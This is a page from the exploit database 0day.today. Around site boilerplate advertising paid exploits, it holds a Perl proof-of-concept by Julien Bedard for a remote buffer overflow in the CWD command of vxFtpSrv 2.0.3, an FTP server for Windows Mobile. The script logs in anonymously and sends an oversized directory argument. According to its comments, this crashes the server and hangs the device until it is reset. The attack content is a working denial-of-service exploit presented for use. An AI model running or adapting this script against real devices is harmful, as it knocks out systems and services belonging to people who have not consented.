0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
vxFtpSrv 2.0.3 CWD command Remote Buffer Overflow PoC
[=====================================================
vxFtpSrv 2.0.3 CWD command Remote Buffer Overflow PoC
=====================================================
#!/usr/bin/perl
########################################################
#
# vxFtpSrv 2.0.3 CWD command Overflow PoC
# by Julien Bedard (www.kosseclab.com)
# info@kosseclab.com
#
# Tested on MS Windows Mobile 6.0
# (maybe other versions are vulnerable)
#
# vxftpsrv is the most common ftp
# server for mobile devices: wm, ppc etc.
# it suffer of an overflow when it recieve too long
# data string by the CWD command.
#
# the result will be immediately close server and
# the windows mobile device will really hang-up.
# so it's required to reset the device to be completely
# operational.
#
# Maybe we can exploit this issue for doing command
# execution but i've not test it since i have nothing
# to debug the application in real time.
#
# If you can help for further analysis please email me
# at info@kosseclab.com
#
########################################################
use Net::FTP;
$wftpsrvaddr = "255.255.255.255";
$overflow = "A" x 330;
$user = "anonymous";
$pass = "test@something.com";
$port = 21;
$ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;
$ftp->cwd($overflow);
$ftp->quit;
# 0day.today [2025-01-04] #